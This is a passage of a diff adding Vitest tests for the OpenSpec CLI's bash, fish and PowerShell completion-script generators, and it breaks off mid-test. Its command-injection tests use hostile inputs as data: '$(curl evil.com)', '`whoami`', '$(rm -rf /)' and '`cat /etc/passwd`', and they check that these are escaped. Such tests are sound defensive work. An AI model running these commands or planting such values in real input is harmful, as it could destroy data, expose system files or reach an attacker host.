||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('zsh');
|
||||
expect(script).toContain('bash');
|
||||
expect(script).toContain('fish');
|
||||
expect(script).toContain('powershell');
|
||||
});
|
||||
|
||||
it('should handle positional arguments for paths', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'init',
|
||||
description: 'Initialize OpenSpec',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'path',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('compgen -f');
|
||||
});
|
||||
|
||||
it('should generate dynamic completion helper for changes', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'archive',
|
||||
description: 'Archive a change',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'change-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('_openspec_complete_changes() {');
|
||||
expect(script).toContain('openspec __complete changes 2>/dev/null');
|
||||
expect(script).toContain('cut -f1');
|
||||
expect(script).toContain('COMPREPLY=');
|
||||
});
|
||||
|
||||
it('should generate dynamic completion helper for specs', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'show-spec',
|
||||
description: 'Show a spec',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'spec-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('_openspec_complete_specs() {');
|
||||
expect(script).toContain('openspec __complete specs 2>/dev/null');
|
||||
expect(script).toContain('cut -f1');
|
||||
});
|
||||
|
||||
it('should generate dynamic completion helper for items (changes and specs)', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'show',
|
||||
description: 'Show an item',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'change-or-spec-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('_openspec_complete_items() {');
|
||||
expect(script).toContain('openspec __complete changes 2>/dev/null');
|
||||
expect(script).toContain('openspec __complete specs 2>/dev/null');
|
||||
});
|
||||
|
||||
it('should handle complex nested subcommands with flags', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'spec',
|
||||
description: 'Manage specs',
|
||||
flags: [],
|
||||
subcommands: [
|
||||
{
|
||||
name: 'validate',
|
||||
description: 'Validate a spec',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'spec-id',
|
||||
flags: [
|
||||
{
|
||||
name: 'strict',
|
||||
description: 'Enable strict mode',
|
||||
},
|
||||
{
|
||||
name: 'json',
|
||||
description: 'Output as JSON',
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('spec)');
|
||||
expect(script).toContain('validate');
|
||||
expect(script).toContain('--strict');
|
||||
expect(script).toContain('--json');
|
||||
expect(script).toContain('_openspec_complete_specs');
|
||||
});
|
||||
|
||||
it('should generate script that ends with complete registration', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'init',
|
||||
description: 'Initialize',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script.trim().endsWith('complete -F _openspec_completion openspec')).toBe(true);
|
||||
});
|
||||
|
||||
it('should handle empty command list', () => {
|
||||
const commands: CommandDefinition[] = [];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('# Bash completion script');
|
||||
expect(script).toContain('_openspec_completion() {');
|
||||
expect(script).toContain('complete -F _openspec_completion openspec');
|
||||
});
|
||||
|
||||
it('should handle commands with no flags', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'view',
|
||||
description: 'Display dashboard',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('view)');
|
||||
});
|
||||
});
|
||||
|
||||
describe('security - command injection prevention', () => {
|
||||
it('should escape command names with shell metacharacters', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'test',
|
||||
description: 'Test command',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Normal command name should be in the script
|
||||
expect(script).toContain('test');
|
||||
});
|
||||
|
||||
it('should escape dollar signs in command names', () => {
|
||||
// This tests that if a command name somehow contained $, it would be escaped
|
||||
// In practice, command names are validated, but the escaping provides defense in depth
|
||||
const maliciousName = 'test$var';
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: maliciousName,
|
||||
description: 'Test',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should escape the dollar sign
|
||||
expect(script).toContain('test\\$var');
|
||||
});
|
||||
|
||||
it('should escape backticks in command names', () => {
|
||||
const maliciousName = 'test`cmd`';
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: maliciousName,
|
||||
description: 'Test',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should escape backticks
|
||||
expect(script).toContain('\\`');
|
||||
});
|
||||
|
||||
it('should escape double quotes in command names', () => {
|
||||
const maliciousName = 'test"quoted"';
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: maliciousName,
|
||||
description: 'Test',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should escape double quotes
|
||||
expect(script).toContain('\\"');
|
||||
});
|
||||
|
||||
it('should escape backslashes in command names', () => {
|
||||
const maliciousName = 'test\\path';
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: maliciousName,
|
||||
description: 'Test',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should escape backslashes
|
||||
expect(script).toContain('\\\\');
|
||||
});
|
||||
|
||||
it('should escape subcommand names with shell metacharacters', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'parent',
|
||||
description: 'Parent command',
|
||||
flags: [],
|
||||
subcommands: [
|
||||
{
|
||||
name: 'sub$cmd',
|
||||
description: 'Subcommand with metacharacter',
|
||||
flags: [],
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should escape metacharacters in subcommand names
|
||||
expect(script).toContain('sub\\$cmd');
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,532 @@
|
||||
import { describe, it, expect, beforeEach } from 'vitest';
|
||||
import { FishGenerator } from '../../../../src/core/completions/generators/fish-generator.js';
|
||||
import { CommandDefinition } from '../../../../src/core/completions/types.js';
|
||||
|
||||
describe('FishGenerator', () => {
|
||||
let generator: FishGenerator;
|
||||
|
||||
beforeEach(() => {
|
||||
generator = new FishGenerator();
|
||||
});
|
||||
|
||||
describe('interface compliance', () => {
|
||||
it('should have shell property set to "fish"', () => {
|
||||
expect(generator.shell).toBe('fish');
|
||||
});
|
||||
|
||||
it('should implement generate method', () => {
|
||||
expect(typeof generator.generate).toBe('function');
|
||||
});
|
||||
});
|
||||
|
||||
describe('generate', () => {
|
||||
it('should generate valid fish completion script with header', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'init',
|
||||
description: 'Initialize OpenSpec',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('# Fish completion script for OpenSpec CLI');
|
||||
expect(script).toContain('function __fish_openspec');
|
||||
});
|
||||
|
||||
it('should generate helper functions for Fish', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'init',
|
||||
description: 'Initialize OpenSpec',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('function __fish_openspec_using_subcommand');
|
||||
expect(script).toContain('function __fish_openspec_no_subcommand');
|
||||
expect(script).toContain('commandline -opc');
|
||||
});
|
||||
|
||||
it('should include all commands with descriptions', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'init',
|
||||
description: 'Initialize OpenSpec',
|
||||
flags: [],
|
||||
},
|
||||
{
|
||||
name: 'validate',
|
||||
description: 'Validate specs',
|
||||
flags: [],
|
||||
},
|
||||
{
|
||||
name: 'show',
|
||||
description: 'Show a spec',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain("complete -c openspec");
|
||||
expect(script).toContain("-a 'init'");
|
||||
expect(script).toContain("'Initialize OpenSpec'");
|
||||
expect(script).toContain("-a 'validate'");
|
||||
expect(script).toContain("'Validate specs'");
|
||||
expect(script).toContain("-a 'show'");
|
||||
expect(script).toContain("'Show a spec'");
|
||||
});
|
||||
|
||||
it('should handle commands with flags without short options', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'validate',
|
||||
description: 'Validate specs',
|
||||
flags: [
|
||||
{
|
||||
name: 'strict',
|
||||
description: 'Enable strict mode',
|
||||
},
|
||||
{
|
||||
name: 'json',
|
||||
description: 'Output as JSON',
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain("-l strict");
|
||||
expect(script).toContain("'Enable strict mode'");
|
||||
expect(script).toContain("-l json");
|
||||
expect(script).toContain("'Output as JSON'");
|
||||
});
|
||||
|
||||
it('should handle flags with short options', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'show',
|
||||
description: 'Show a spec',
|
||||
flags: [
|
||||
{
|
||||
name: 'requirement',
|
||||
short: 'r',
|
||||
description: 'Show specific requirement',
|
||||
takesValue: true,
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain("-s r");
|
||||
expect(script).toContain("-l requirement");
|
||||
expect(script).toContain("'Show specific requirement'");
|
||||
expect(script).toContain("-r");
|
||||
});
|
||||
|
||||
it('should use -r flag for flags that require values', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'validate',
|
||||
description: 'Validate specs',
|
||||
flags: [
|
||||
{
|
||||
name: 'output',
|
||||
description: 'Output file',
|
||||
takesValue: true,
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain("-l output");
|
||||
expect(script).toContain("-r");
|
||||
});
|
||||
|
||||
it('should not use -r flag for boolean flags', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'validate',
|
||||
description: 'Validate specs',
|
||||
flags: [
|
||||
{
|
||||
name: 'strict',
|
||||
description: 'Enable strict mode',
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
const lines = script.split('\n');
|
||||
const strictLine = lines.find(line => line.includes('-l strict'));
|
||||
|
||||
expect(strictLine).toBeDefined();
|
||||
expect(strictLine).not.toContain(' -r');
|
||||
});
|
||||
|
||||
it('should handle flags with enum values', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'validate',
|
||||
description: 'Validate specs',
|
||||
flags: [
|
||||
{
|
||||
name: 'type',
|
||||
description: 'Specify item type',
|
||||
takesValue: true,
|
||||
values: ['change', 'spec'],
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain("-l type");
|
||||
expect(script).toContain("change");
|
||||
expect(script).toContain("spec");
|
||||
});
|
||||
|
||||
it('should handle commands with subcommands', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'change',
|
||||
description: 'Manage changes',
|
||||
flags: [],
|
||||
subcommands: [
|
||||
{
|
||||
name: 'show',
|
||||
description: 'Show a change',
|
||||
flags: [],
|
||||
},
|
||||
{
|
||||
name: 'list',
|
||||
description: 'List changes',
|
||||
flags: [],
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain("'change'");
|
||||
expect(script).toContain("'show'");
|
||||
expect(script).toContain("'list'");
|
||||
expect(script).toContain("__fish_openspec_using_subcommand change");
|
||||
});
|
||||
|
||||
it('should handle positional arguments for change-id', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'archive',
|
||||
description: 'Archive a change',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'change-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('__fish_openspec_changes');
|
||||
});
|
||||
|
||||
it('should handle positional arguments for spec-id', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'show-spec',
|
||||
description: 'Show a spec',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'spec-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('__fish_openspec_specs');
|
||||
});
|
||||
|
||||
it('should handle positional arguments for change-or-spec-id', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'show',
|
||||
description: 'Show an item',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'change-or-spec-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('__fish_openspec_items');
|
||||
});
|
||||
|
||||
it('should handle positional arguments for shell with inline values', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'generate',
|
||||
description: 'Generate completions',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'shell',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('zsh');
|
||||
expect(script).toContain('bash');
|
||||
expect(script).toContain('fish');
|
||||
expect(script).toContain('powershell');
|
||||
});
|
||||
|
||||
it('should generate dynamic completion helper for changes', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'archive',
|
||||
description: 'Archive a change',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'change-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('function __fish_openspec_changes');
|
||||
expect(script).toContain('openspec __complete changes 2>/dev/null');
|
||||
expect(script).toContain('while read -l id desc');
|
||||
expect(script).toContain('printf');
|
||||
});
|
||||
|
||||
it('should generate dynamic completion helper for specs', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'show-spec',
|
||||
description: 'Show a spec',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'spec-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('function __fish_openspec_specs');
|
||||
expect(script).toContain('openspec __complete specs 2>/dev/null');
|
||||
});
|
||||
|
||||
it('should generate dynamic completion helper for items', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'show',
|
||||
description: 'Show an item',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'change-or-spec-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('function __fish_openspec_items');
|
||||
expect(script).toContain('__fish_openspec_changes');
|
||||
expect(script).toContain('__fish_openspec_specs');
|
||||
});
|
||||
|
||||
it('should escape single quotes in descriptions', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'test',
|
||||
description: "Test with 'quotes'",
|
||||
flags: [
|
||||
{
|
||||
name: 'flag',
|
||||
description: "Special chars: 'quotes'",
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain("\\'quotes\\'");
|
||||
});
|
||||
|
||||
it('should handle complex nested subcommands with flags', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'spec',
|
||||
description: 'Manage specs',
|
||||
flags: [],
|
||||
subcommands: [
|
||||
{
|
||||
name: 'validate',
|
||||
description: 'Validate a spec',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'spec-id',
|
||||
flags: [
|
||||
{
|
||||
name: 'strict',
|
||||
description: 'Enable strict mode',
|
||||
},
|
||||
{
|
||||
name: 'json',
|
||||
description: 'Output as JSON',
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain("'spec'");
|
||||
expect(script).toContain("'validate'");
|
||||
expect(script).toContain("-l strict");
|
||||
expect(script).toContain("-l json");
|
||||
expect(script).toContain('__fish_openspec_specs');
|
||||
});
|
||||
|
||||
it('should handle empty command list', () => {
|
||||
const commands: CommandDefinition[] = [];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('# Fish completion script');
|
||||
expect(script).toContain('function __fish_openspec');
|
||||
});
|
||||
|
||||
it('should handle commands with no flags', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'view',
|
||||
description: 'Display dashboard',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain("'view'");
|
||||
expect(script).toContain("'Display dashboard'");
|
||||
});
|
||||
});
|
||||
|
||||
describe('security - command injection prevention', () => {
|
||||
it('should escape $() command substitution in descriptions', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'test',
|
||||
description: 'Test command $(curl evil.com)',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should contain escaped dollar signs to prevent command substitution
|
||||
expect(script).toContain('\\$');
|
||||
// Should have backslash before $( to escape it
|
||||
expect(script).toMatch(/\\\$\(curl/);
|
||||
});
|
||||
|
||||
it('should escape backticks in descriptions', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'test',
|
||||
description: 'Test command `whoami`',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should not contain unescaped backticks
|
||||
expect(script).not.toMatch(/`whoami`/);
|
||||
// Should contain escaped version
|
||||
expect(script).toContain('\\`');
|
||||
});
|
||||
|
||||
it('should escape dollar signs in descriptions', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'test',
|
||||
description: 'Test with $variable',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should escape dollar signs
|
||||
expect(script).toContain('\\$');
|
||||
});
|
||||
|
||||
it('should escape single quotes in descriptions', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'test',
|
||||
description: "Test with 'quotes'",
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should escape single quotes
|
||||
expect(script).toContain("\\'");
|
||||
});
|
||||
|
||||
it('should escape backslashes in descriptions', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'test',
|
||||
description: 'Test with \\ backslash',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should contain escaped backslashes
|
||||
expect(script).toContain('\\\\');
|
||||
});
|
||||
|
||||
it('should handle multiple shell metacharacters together', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'test',
|
||||
description: "Dangerous: $(rm -rf /) `cat /etc/passwd` $HOME 'quoted'",
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should contain escaped versions of dangerous patterns
|
||||
expect(script).toContain('\\$'); // Escaped dollar signs
|
||||
expect(script).toContain('\\`'); // Escaped backticks
|
||||
expect(script).toContain("\\'"); // Escaped single quotes
|
||||
|
||||
// The escaped patterns should be present (backslash before dangerous chars)
|
||||
expect(script).toMatch(/\\\$\(/); // \$( instead of $(
|
||||
expect(script).toMatch(/\\\`cat/); // \`cat instead of `cat
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,604 @@
|
||||
import { describe, it, expect, beforeEach } from 'vitest';
|
||||
import { PowerShellGenerator } from '../../../../src/core/completions/generators/powershell-generator.js';
|
||||
import { CommandDefinition } from '../../../../src/core/completions/types.js';
|
||||
|
||||
describe('PowerShellGenerator', () => {
|
||||
let generator: PowerShellGenerator;
|
||||
|
||||
beforeEach(() => {
|
||||
generator = new PowerShellGenerator();
|
||||
});
|
||||
|
||||
describe('interface compliance', () => {
|
||||
it('should have shell property set to "powershell"', () => {
|
||||
expect(generator.shell).toBe('powershell');
|
||||
});
|
||||
|
||||
it('should implement generate method', () => {
|
||||
expect(typeof generator.generate).toBe('function');
|
||||
});
|
||||
});
|
||||
|
||||
describe('generate', () => {
|
||||
it('should generate valid PowerShell completion script with header', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'init',
|
||||
description: 'Initialize OpenSpec',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('# PowerShell completion script for OpenSpec CLI');
|
||||
expect(script).toContain('$openspecCompleter = {');
|
||||
expect(script).toContain('Register-ArgumentCompleter');
|
||||
});
|
||||
|
||||
it('should register argument completer for openspec command', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'init',
|
||||
description: 'Initialize OpenSpec',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('Register-ArgumentCompleter -CommandName openspec');
|
||||
expect(script).toContain('-ScriptBlock $openspecCompleter');
|
||||
});
|
||||
|
||||
it('should include all commands with descriptions', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'init',
|
||||
description: 'Initialize OpenSpec',
|
||||
flags: [],
|
||||
},
|
||||
{
|
||||
name: 'validate',
|
||||
description: 'Validate specs',
|
||||
flags: [],
|
||||
},
|
||||
{
|
||||
name: 'show',
|
||||
description: 'Show a spec',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('"init"');
|
||||
expect(script).toContain('Initialize OpenSpec');
|
||||
expect(script).toContain('"validate"');
|
||||
expect(script).toContain('Validate specs');
|
||||
expect(script).toContain('"show"');
|
||||
expect(script).toContain('Show a spec');
|
||||
});
|
||||
|
||||
it('should use CompletionResult objects for completions', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'init',
|
||||
description: 'Initialize OpenSpec',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('[System.Management.Automation.CompletionResult]::new(');
|
||||
});
|
||||
|
||||
it('should handle commands with flags without short options', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'validate',
|
||||
description: 'Validate specs',
|
||||
flags: [
|
||||
{
|
||||
name: 'strict',
|
||||
description: 'Enable strict mode',
|
||||
},
|
||||
{
|
||||
name: 'json',
|
||||
description: 'Output as JSON',
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('--strict');
|
||||
expect(script).toContain('Enable strict mode');
|
||||
expect(script).toContain('--json');
|
||||
expect(script).toContain('Output as JSON');
|
||||
});
|
||||
|
||||
it('should handle flags with short options', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'show',
|
||||
description: 'Show a spec',
|
||||
flags: [
|
||||
{
|
||||
name: 'requirement',
|
||||
short: 'r',
|
||||
description: 'Show specific requirement',
|
||||
takesValue: true,
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('-r');
|
||||
expect(script).toContain('--requirement');
|
||||
expect(script).toContain('Show specific requirement');
|
||||
});
|
||||
|
||||
it('should handle boolean flags vs value-taking flags', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'validate',
|
||||
description: 'Validate specs',
|
||||
flags: [
|
||||
{
|
||||
name: 'strict',
|
||||
description: 'Enable strict mode',
|
||||
},
|
||||
{
|
||||
name: 'output',
|
||||
description: 'Output file',
|
||||
takesValue: true,
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('--strict');
|
||||
expect(script).toContain('--output');
|
||||
expect(script).toContain('Enable strict mode');
|
||||
expect(script).toContain('Output file');
|
||||
});
|
||||
|
||||
it('should handle flags with enum values', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'validate',
|
||||
description: 'Validate specs',
|
||||
flags: [
|
||||
{
|
||||
name: 'type',
|
||||
description: 'Specify item type',
|
||||
takesValue: true,
|
||||
values: ['change', 'spec'],
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('--type');
|
||||
expect(script).toContain('change');
|
||||
expect(script).toContain('spec');
|
||||
});
|
||||
|
||||
it('should handle commands with subcommands', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'change',
|
||||
description: 'Manage changes',
|
||||
flags: [],
|
||||
subcommands: [
|
||||
{
|
||||
name: 'show',
|
||||
description: 'Show a change',
|
||||
flags: [],
|
||||
},
|
||||
{
|
||||
name: 'list',
|
||||
description: 'List changes',
|
||||
flags: [],
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('"change"');
|
||||
expect(script).toContain('"show"');
|
||||
expect(script).toContain('"list"');
|
||||
expect(script).toContain('Manage changes');
|
||||
expect(script).toContain('Show a change');
|
||||
expect(script).toContain('List changes');
|
||||
});
|
||||
|
||||
it('should offer parent flags when command has both flags and subcommands', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'config',
|
||||
description: 'Manage configuration',
|
||||
flags: [
|
||||
{
|
||||
name: 'scope',
|
||||
short: 's',
|
||||
description: 'Configuration scope',
|
||||
},
|
||||
{
|
||||
name: 'json',
|
||||
description: 'Output as JSON',
|
||||
},
|
||||
],
|
||||
subcommands: [
|
||||
{
|
||||
name: 'set',
|
||||
description: 'Set a config value',
|
||||
flags: [],
|
||||
},
|
||||
{
|
||||
name: 'get',
|
||||
description: 'Get a config value',
|
||||
flags: [],
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
// Should check for flag prefix before offering subcommands
|
||||
expect(script).toContain('if ($wordToComplete -like "-*")');
|
||||
// Should include parent command flags
|
||||
expect(script).toContain('-s');
|
||||
expect(script).toContain('--scope');
|
||||
expect(script).toContain('--json');
|
||||
// Should also include subcommands
|
||||
expect(script).toContain('"set"');
|
||||
expect(script).toContain('"get"');
|
||||
});
|
||||
|
||||
it('should handle positional arguments for change-id', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'archive',
|
||||
description: 'Archive a change',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'change-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('Get-OpenSpecChanges');
|
||||
});
|
||||
|
||||
it('should handle positional arguments for spec-id', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'show-spec',
|
||||
description: 'Show a spec',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'spec-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('Get-OpenSpecSpecs');
|
||||
});
|
||||
|
||||
it('should handle positional arguments for change-or-spec-id', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'show',
|
||||
description: 'Show an item',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'change-or-spec-id',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
expect(script).toContain('Get-OpenSpecChanges');
|
||||
expect(script).toContain('Get-OpenSpecSpecs');
|
||||
});
|
||||
|
||||
it('should handle positional arguments for shell with inline values', () => {
|
||||
const commands: CommandDefinition[] = [
|
||||
{
|
||||
name: 'generate',
|
||||
description: 'Generate completions',
|
||||
acceptsPositional: true,
|
||||
positionalType: 'shell',
|
||||
flags: [],
|
||||
},
|
||||
];
|
||||
|
||||
const script = generator.generate(commands);
|
||||
|
||||
